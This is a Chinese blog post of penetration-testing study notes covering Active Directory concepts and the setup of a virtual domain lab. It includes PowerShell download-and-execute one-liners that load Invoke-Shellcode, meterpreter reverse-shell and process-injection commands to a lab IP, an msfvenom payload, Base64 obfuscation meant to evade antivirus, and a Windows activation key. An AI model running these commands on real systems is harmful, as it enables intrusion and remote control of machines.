本文章大部分内容来自于 <内网安全攻防:渗透测试实战指南>: https://item.jd.com/12743210.html
内网也指局域网(Local Area Network, LAN)
, 是指在某一区域内由多台计算机互连而成的计算机组
在局域网中, 可以实现文件管理, 应用软件共享, 打印机共享, 工作组内的日程安排, 电子邮件和传真通信服务器等
将不同的计算机按功能(或部门)分别列入不同的工作组(Work Group)
加入/创建工作组的方法: 右键桌面计算机
->属性
->更改设置
->更改
, 然后输入计算机名和想要加入的工作组名称即可
如果输入的工作组在网络中不存在, , 就相当于新建了一个工作组
设置完后重启电脑, 进入网络
就可以看到加入工作组的成员了, 也可以退出工作组, 修改工作组的名称即可
此时在网络中, 我们可以随时访问别人的共享资源, 别人也可以访问我们的共享资源
所以工作组并不存在真正的集中管理作用, 工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。
域(Domain)
: 一个具有安全边界的计算机集合(安全边界: 在两个域中, 一个域的用户无法访问另一个域中的资源).
用户想要访问域内的资源, 必须以合法的身份登录域, 而用户对域内的资源拥有什么样的权限, 取决于用户在域内的身份
域控制器(Domain Controller, DC)
: 域中的一台类似管理服务器的计算机. 域控制器负责所有连入的计算机和用户的验证工作. 域内的计算机如果想相互访问, 都要经过域控制器的审核
域控制器有个数据库, 由这个域的账户, 密码, 属于这个域的计算机等信息构成的
计算机需要满足以下条件, 域控制器才允许其连接
域控制器是整个域的通信枢纽, 所有的权限身份认证都在域控制器上进行, 也就是说, 域内所有用来验证身份的账号和密码散列值都保存在域控制器中
域中一般有如下环境:
在一个位置固定的小公司里, 建立一个域就可以满足需求了
在一个域内, 一般要有至少两台域服务器, 一台作为 DC, 另一台作为备份 DC(BDC).
活动目录的数据库(包括用户的账号信息)是存储在 DC 中, 如果没有备份 DC, 一旦 DC 瘫痪了, 域内的其他用户就不能登录该域了.
出于管理及其他需求, 需要在网络中划分多个域. 第一个域称为父域
, 各分部的域称为该域的子域
下面的情况会用到父域和子域:
域树(Tree)
是多个域通过建立信任关系组成的集合.
一个域管理员只能管理本域, 不能访问或者管理其他域.
如果两个域之间需要互相访问, 则需要建立信任关系(Trust Relaton)
, 信任关系是连接不同域的桥梁.
域树内的父域和子域, 可以按需相互管理, 也可以跨网络分配文件件和打印机等设备及资源, 从而实现在不同的域之间实现网络资源的共享和管理, 通信及数据传输
在一个域树中, 父域可以包含多个子域.
子域是相对父域来说的, 子域只能使用父域的名字作为其域名的后缀. 也就是说, 在一个域树中, 域的名字是连续的.
域森林(Forest)
是指多个域树通过建立信任关系组成的集合
如下图, 域树abc.net
无法挂在abc.com
下, 所以域树abc.com
与域树abc.net
之间通过建立信任关系来构成域森林.
可以通过域树之间建立的信任关系来管理和使用整个森林中的资源, 从而又保持了原有域自身原有的特性。
域名服务器(Domain Name Server, DNS)
是指用于实现域名(Domain Name)
和与之相对应的IP 地址(IP Address)
转换的服务器.
域中的计算机是使用 DNS 来定位域控制器, 服务器及其他计算机, 网络服务的, 所以域的名字就是 DNS 域的名字
在内网渗透测试中, 大都是通过寻找 DNS 服务器来确定域控制器的位置的(DNS 服务器和域控制器通常配置在同一台机器上)
活动目录(Active Directory, AD)
是指域环境中提供目录服务的组件
目录
: 用于存储有关网络对象(例如用户, 组, 计算机, 共享资源, 打印机和联系人等) 的信息
目录服务
: 指帮助用户快速, 准确地从目录中找到其所需要的信息的服务
活动目录存储的是网络中所有资源的快捷方式, 用户可以通过寻找快捷方式来定位资源. 活动目录与内网的资源相当于字典索引与字典内容.
逻辑结构
: 在活动目录中, 管理员不需要考虑被管理对象的地理位置, 只需要按照一定的方式将这些对象放置在不同的容器中. 这种不考虑被管理对象的具体地理位置的组织框架称为逻辑结构
活动目录的逻辑结构包括前面讲过的组织单元(OU)
,域
, 域树
, 域森林
.
域树内的所有域共享一个活动目录, 这个活动目录内的数据分散存储在各个域中, 且每个域只存储该域内的数据.
活动目录主要提供以下功能:
如果网络规模较大, 就要把网络中的众多对象, 例如计算机, 用户, 用户组, 打印机, 共享文件等, 分门别类, 井然有序地放在一个大仓库中, 并将检索信息整理好, 以便查找, 管理和使用这些对象(资源). 这个拥有层次结构的数据库, 就是活动目录(AD)数据库
, 简称AD 库
那么, 我们要将这个数据库放在哪台计算机上呢? 要实现域环境, 其实就是要安装 AD.
如果内网中的一台计算机上安装了 AD, 它就变成了 DC(用于存储活动目录(AD)数据库的计算机)
划分安全域的目的是将一组安全等级相同的计算机划入同一个网段, 这个网段内的计算机拥有相同的网络边界
在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略(NACL)
, 从而设置允许哪些 IP 地址访问此域, 允许此域访问哪些 IP 地址和网段
一个典型的中小型内网的安全域划分如下图, 一个虚线框表示一个安全域(也是网络的边界, 一般分为 DZM 和内网), 通过硬件防火墙的不同端口实现隔离
在域结构的网络中, 计算机的身份是不平等的
https://blog.csdn.net/ljy325/article/details/78554852
全局组 来自本域用于全林
通用组 来自全林用于全林
域本地组 来自全林用于本域
比如: 有两个域, A和B, A中的3个财务人员和B中的4个财务人员都需要访问A中的“FINA”文件夹。这时, 可以在A中建一个DL, 因为DL的成员可以来自所有的域, 然后把这8个人都加入这个DL, 并把FINA的访问权赋给DL。这样做的坏处是什么呢?因为DL是在A域中, 所以管理权也在A域, 如果B域中的4个人变成6个人, 那只能B域管理员通知A域管理员, 将DL的成员做一下修改, A域的管理员太累了。
这时候, 我们改变一下, 在A和B域中都各建立一个全局组(G), 然后在A域中建立一个DL, 把这两个G都加入A域中的DL中, 然后把FINA的访问权赋给DL。哈哈, 这下两个G组都有权访问FINA文件夹了, 是吗?组嵌套造成权限继承嘛!这时候, 两个G分布在A和B域中, 也就是A和B的管理员都可以自己管理自己的G啦, 只要把那3个人和4个人加入G中, 就可以了!以后有任何修改, 都可以自己做了, 不用麻烦A域的管理员!这就是A-G-DL-P
。
注:A表示用户账号, G表示全局组, U表示通用组, DL表示域本地组, P表示资源权限。A-G-DL-P策略
是将用户账号添加到全局组中, 将全局组添加到域本地组中, 然后为域本地组分配资源权限。
例1:将用户张三(域帐号Z3)加入到域本地组 administrators 中, 并不能使Z3对非DC的域成员计算机有任何特权, 但若加入到全局组Domain Admins中, 张三就是域管理员了, 可以在全局使用, 对域成员计算机是有特权的。
例2:只有在域的DC上, 对资源(如:文件/夹)设置权限, 你可以指派域本地组 administrators;但在非DC的域成员计算机上, 你是无法设置域本地组 administrators 的权限的。因为它是域本地组, 只能在DC上使用。
要运行 Powershell 脚本, 必须使用管理权限将策略改成
Unrestricted
随便一个xxx.ps1
脚本, 该脚本的作用就是输出一个hello hacker
, 在Restricted
策略下, 执行如下命令, 可以绕过安全策略, 执行脚本
powershell.exe -ExecutionPolicy Bypass -File .\xxx.ps1
实战中, 将脚本PowerUp.ps1上传至目标服务器中(这里是 C盘根目录), 在目标本地执行脚本文件, 如下
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
Invoke-AllChecks
函数将检查目标主机的攻击向量以进行权限提升. 为了更容易阅读, 我们将结果输出到一个名为allchecks.txt
的文件里, 所以命令应该是这样子Invoke-AllChecks | Out-File allchecks.txt
(有问题… …请各位看官跳过)
首先是下载脚本 Invoke–Shellcode.ps1 到目标服务器的命令:
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');
下面对常用参数进行说明, 括号里为缩写:
-ExecutionPolicy Bypass (-Exec ByPass)
: 绕过执行安全策略. 在默认情况下, Powershell 的安全策略规定了 Powershell 不能运行命令和文件-WindowStyle Hidden (-W Hidden)
: 隐藏窗口-NoInteractive (-NonI)
: 非交互模式. Powershell 不为用户提供交互式的提示-NoProfile (-NoP)
: Powershell 控制台不加载当前用户的配置文件-noexit
: 执行后不退出 Shell. 这个参数在使用键盘记录等脚本时非常重要-NoLogo
: 启动不显示版本标志的 Powershell接着是在目标机器上执行 meterpreter shell, 当然, 我们需要知道参数是啥, 可以看一下脚本的源码:
所以最终的代码如下:
Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234
具体步骤如下:
exploit/multi/handler
, 并选择payload windows/meterpreter/reverse_https
, 进行监听cmd
运行最终代码:Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234
然而还是没有什么鸟用… …
测试的存一下
Powershell.exe -ExecutionPolicy Bypass IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234 -Verbose;
注入进程
IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose
另一种注入进程
IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessID $Proc.Id -Shellcode ($buf) -Force
还是有问题
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.82.131 lport=1234 -f powershell -o /var/www/html/code1
exploit/multi/handler
, 并选择payload windows/meterpreter/reverse_https
, 进行监听cd \
cd C:\Users\root\Desktop
Set-ExecutionPolicy unrestricted
Import-Module .\Invoke--Shellcode.ps1
IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
Invoke-Shellcode -Shellcode $buf -Force
再试一次, 还是失败…
IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose
使用 Base64 对 Powershell 命令进行编码的目的是混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀
这里需要用到一个 python 脚本–ps_encoder.py, 核心函数如下:
def powershell_encode(data):
#https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
#Carlos - aka Darkoperator 编写了下面的代码
blank_command = ""
powershell_command = ""
# 删除ISE可能添加的怪异字符
#python的file对象的readline以及readlines程序中, 针对一些UTF-8编码的文件,
#开头会加入BOM来表明编码方式。
#使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
n = re.compile(u'(\xef|\xbb|\xbf)')
# 循环遍历通过正则过滤后的每个字符
for char in (n.sub("", data)):
# 每个字符间插入“\x00”空字符
blank_command += char + "\x00"
powershell_command = blank_command
# 对powershell进行base64编码
powershell_command = base64.b64encode(powershell_command)
return powershell_command
# base64编码是对二进制数据进行处理, 每3个字节划为一组, 一共是3x8=24bit
# 再将24bit划为4组, 每组正好6个bit(可表示2的6次方、即64个数)
#这样我们就得到了4个数字, 将其作为索引查码表, 获得相应的4个字符, 就是编码后的字符串。
#所以, Base64编码会把3字节的二进制数据编码为4字节的文本数据, 长度增加33%。
#如果要编码的二进制数据不是3的倍数, 最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
#z最后编码的末尾加上1个或2个=号, 表示补了多少字节, 解码的时候, 会自动去掉。
要使用该脚本, 需要先将命令保存成文本文件
echo "IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 80 -Force" > raw.txt
然后给ps_encoder.py
授予执行权限
chmod +x ps_encoder.py
然后以下命令将 raw.txt 里面的命令转换成 base64 编码
./ps_encoder.py -s raw.txt
输入的内容就是经过 Base64 编码的命令了
接着在目标主机上执行如下命令:
Powershell.exe -Nop -NonI -W hidden -Exec Bypass -enc Base64编码的命令
32位PowerShell脚本执行:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64位PowerShell 脚本执行:
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
机器 | ip | 模式 |
---|---|---|
防火墙 | 内网: 10.1.1.1 ;外网自动获取 |
内网网卡为host-only ,外网网卡为NAT |
Windows 2012 R2 | 10.1.1.2 |
host-only |
Windows 7 | 10.1.1.10 |
host-only |
Windows XP | 10.1.1.11 |
host-only |
Windows 2003 | 自动获取 | NAT |
Kali(攻击者) | 自动获取 | NAT |
Kali(Web 服务器) | 内网: 10.1.1.12 ;外网:192.168.1.132 |
内网网卡host-only , 外网网卡NAT |
本人 mac 系统, 用的是vmfusion, 先修改 NET 模式下的网段为192.168.1.0
, 修改host-only
模式下的网段为10.1.1.0
sudo vim /Library/Preferences/VMware\ Fusion/networking
然后重启 vmfusion 即可
http://www.cat-home.org/?action=show&id=158
其他的防火墙: OPNSENSE
硬盘 10G 就够了
需要两张网卡, 所以要添加一张网卡, 一个是NAT
模式, 一个是host-only
模式
接着光驱指定系统镜像
然后启动虚拟机就行
启动之后安装选项输入7
(Install on Hard Drive), 将iso安装到硬盘。
输入硬盘设备名称ad0
, 上方有提示, 具体情况根据自己的实际提示安装。然后在对话框继续输入y
, 确认之后便开始进入了安装程序。
安装完成后, 断开iso 文件, 然后重启它
在重启之后的m0n0对话框输入1
, 开始指定接口, 指定具体网卡接入内网还是外网。
注意这里的 mac 地址, 通过查看网卡的 mac 地址, 找出对应关系, le0
对应外网网卡, le1
对应内网网卡
这里它询问是否配置 vlans, 这里选择n
配置lan口(内网网卡)、wan口(外网网卡)的网卡, 配置完成之后回车保存
再次重启之后的m0n0对话框输入2
,开始对lan口进行网络地址配置
指定lan口的ip,掩码, 起始地址和结束地址。
重置登录密码
密码将被重置为mono
账户为admin
host-only
10.1.1.10
——10.1.1.100
之间的ip选择带标准版, 带GUI的服务器安装
然后就是漫长的等待, 完成后设置密码, 一定要记好密码
接下来是激活操作
然后用32P6N-BFRM3-RB3Q8-FCMPD-MDVJW
激活码激活就行
在虚拟机中安装 Windows Server 2012 R2 操作系统, 配置 IP 地址为 1.1.1.2
, 子网掩码为 255.255.255.0
, DNS 指向本机 IP 地址1.1.1.2
点击"确定"之后, 关闭其他窗口即可
使用本地管理员账户登录, 修改计算机名为DC
(可以随意取名。等到后面本机升级成域控制器以后, 机器全名会自动变成为DC.hacke.testlab
。更改完成后, 需要重启服务器。
然后重启服务器
接下来, 在 Windows Server 2012 R2 主机上安装域控制器和 DNS 服务。
登录 Windows Server 2012 R2 服务器时, 可以看到服务器管理器
页面, 如图所示
单击添加角色和功能
选项, 进入添加角色和功能向导
页面, 保持默认设置, 单击下一步
按钮, 进入安装类型
页面
选择基于角色或者基于功能的安装
选项, 单击下一步
按钮, 进入服务器选择
选择页面。
目前的服务器池中只有当前这一台机器, 保持默认设置。单击下一步
按钮
ps: 这里的 ip 地址应该是
10.1.1.2
, 我用的是之前的图, 所以… 不要在意那些细节!!
在服务器角色
页面勾选Active Directory 域服务
和DNS 服务器
复选框, 然后点击下一步
在功能
页面, 保持默认设置, 单击三次下一步
按钮, 进入确认
页面。
确认需要安装的组件后, 勾选如果需要, 自动重新启动目标服务器
复选框, 然后, 单击安装
按钮。
安装成功之后, 点击关闭
按钮
在服务器管理器
页面中, 在右上角可以看到一个中间有!
的三角形按钮。单击该按钮, 进入Active Directory 域服务配置向导
页面
在部署操作中单击选中添加新林
单选按钮并输入根域名(必须使用允许的 DNS 域命名约定)。将根域名设置 为hacker.testlab
, 然后点击下一步
在域控制器选项
页面, 将林功能级别、域功能级别都设置为 Windows Server 2012 R2
, 在创建新林时, 在默认情况下选择 DNS 服务器, 林中的第一个域控制器必须是全局目录服务器且不能是只读域控制器(RODC)。输入目录服务还原模式密码, 在开机进入安全模式修复 AD 数据库时将使用此密码。然后点击下一步
在 DNS 选项页面
会出现关于 DNS 的警告。不用理会该警告, 保持默认设置。单击下一步
按钮, 进入其他选项
页面
在 NetBIOS 域名(不支持 DNS 域名的旧系统, 如 Windows 98、 NT 系统, 需要通过 NetBIOS 域名进行通信)页面保持默认设置。单击下一步
按钮, 进入路径
界面
指定数据库、日志、sysvol 的存放位置, 保持默认设置。接着单击下一步
按钮
保持页面上的默认设置, 单击下一步
按钮
最后单击安装
按钮
安装完成后, 需要重启服务器。重启完成后, 需要使用域管理员账户(HACKER\Administrator
)登录。此时在服务器管理器
页面就可以看到 AD DS、DNS 服务了
这时候, 检查 DC 是否已经注册到 DNS:域控制器 DC 会将自己扮演的角色注册到 DNS 服务器内, 以便让其他计算机能够通过 DNS 服务器来找到这台域控制器, 因此先检查 DNS 服务器内是否已经存在这些记录。
图中的主机(A)记录表示域控制器 dc.hacker.testlab.xxx
已经正确地将其主机名与 IP 地址注册到 DNS 服务器内。DNS 客户端所提出的请求大多是正向解析, 即通过 hostname 来解析 IP 地址对应与此处的正向查找区域;通过 IP 来查找 hostname 即为反向解析, 对应于此处的反向查找区域。
如果域控制器已经正确地将其扮演的角色注册到 DNS 服务器, 则还应该有对应的 _tcp
、_udp
等文件夹。在单击 _tcp
文件夹后可以看到如下所示的界面, 其中数据类型为服务位置(SRV)的 _ldap
记录, 表示dc.hacker.testlab.xxx
已经正确地注册为域控制器。其中的 _gc
记录还可以看出全局编录服务器的角色也是由 dc.hacker.testlab.xxx
扮演的。
DNS 区域内包含这些数据后, 其他要加入域的计算机就可以通过通过此区域来得知域控制器为dc.hacker.testlab.xxx
。这些加入域的成员(域控制器、成员服务器、Windows 8、Windows 7、Windows Vista、Windows XP Professional 等)也会将其主机与 IP 地址数据注册到此区域内。
为 Windows 7 和 Windows XP 用户创建域控制器账户
在开始菜单
找到管理工具
, 打开Active Directory 用户和计算机
在Active Directory 用户和计算机
页面, 点击Users
目录,并单击右键, 选择新建
->用户
这里创建一个 testuser
账户, 如图
这样子就添加了一个普通用户
可以看一下它的权限
Domain Users
, 即普通的域用户
将 Windows 7 系统加入该域, 同样需要先设置 IP 地址为 10.1.1.10
, DNS 地址为 10.1.1.2
, 然后运行ping hacker.testlab
命令进行测试
接下来, 将主机加入域, 更改计算机名为WIN7
(对于 Windows 7), 将域名更改为 hacker.testlab
。
单击确定
按钮后, 会弹出要求输入拥有权限的域账户名称和密码的对话框。 这里输入刚刚创建成功的testuser
的账号和密码. 操作成功后, 会出现重启计算机的提示。
然后点击关闭
计算机重启后, 使用刚刚创建的testuser
用户登录域, 点击切换用户
->其他用户
登录成功后, 这时候回到 dc 中的Active Directory 用户和计算机
, 可以看到Computers
目录下, 多了我们刚刚加入的WIN7
此时可以管理
一波, 如果出现类似如下的提示, 则需要配置防火墙
当然, 我们搞渗透的话, 为了方便直接关闭防火墙就行
关闭防火墙后, 再打开管理
, 即可看到
xp 加入域的操作和 win7 类似, 这里就不再详解了
进入kali 可以看到, eth1
是外网网卡, eth0
是内网网卡
所以接下来要给内外网网卡配置静态 ip 地址
vim /etc/network/interfaces
增加如下内容:
auto eth1
iface eth1 inet static
address 192.168.1.132
netmask 255.255.255.0
gateway 192.168.1.2
auto eth0
iface eth0 inet static
address 10.1.1.12
netmask 255.255.255.0
这里的
gateway
网关配置成192.168.1.2
的原因是, 外网网卡的网关就是这个…dhcp 自动获取的就是这个…
vim /etc/resolv.conf
保存之后重启网络
service networking restart
然后执行如下命令:
route del default
route add default gw 192.168.1.2
route add -net 10.1.1.0/24 gw 10.1.1.1 eth0
至此配置完成, 然后测试一波. 可以ping 一下防火墙, dns, 域机器, 百度
然后找一台域机器, 这里是 winxp, ping 一波这台 kali
安装域服务器后, 可以安装几个用于测试的干净的操作系统或者存在漏洞的应用程序, 如 Metasploitable2、Metasploitable3、OWASPBWA 和 DVWA 等。由于包含了诸多用于测试的安全弱 点, 建议在 Host-only 或 NAT 的虚拟机网络模式下使用服务器。
Metasploitable2 是一个 Ubuntu Linux 虚拟机, 它预置了常见的漏洞。Metasploitable2 环境的 VMWare 镜像的下载地址为 http://sourceforge.net/projects/metasploitable/files/Measploitable2。
下载 Metasploitable2 后, 解压软件, 并在 VMware Workstation Player 中打开软件, 输入用户 名 msfadmin 和密码 msfadmin, 登录软件。
Metasploitable3 是一个易受攻击的 Ubuntu Linux 虚拟机, 专为测试常见漏洞而设计。此虚拟 机与 VMWare、VirtualBox 和其他常见的虚拟化平台兼容, 下载地址为 https://github.com/rapid7/metasploitable3。
下载后, 使用 VMware Workstation Player 运行它, 默认的用户名和密码分别是 msfadmin 和 msfadmin。
OWASPBWA 是 OWASP 出品的一款基于虚拟机的渗透测试演练工具, 提供了一个存在大量 漏洞的网站应用程序环境。 OWASPBWA 同样需要下载和安装, 下载地址为 https://sourceforge.net/projects/owaspbwa/files/。
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用, 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境, 帮助 Web 开发者更 好地理解 Web 应用安全防范过程。DVWA 基于 PHP、Apache 及 MySQL, 需要安装到本地使用。
还有一些在线学习渗透测试的网站, 可以访问 https://www.hackthissite.org/
https://fengwenhua.top/upload/2020/2/内网渗透测试基础-0f3b178fa5f3433ca36e2e08c849d14e.xmind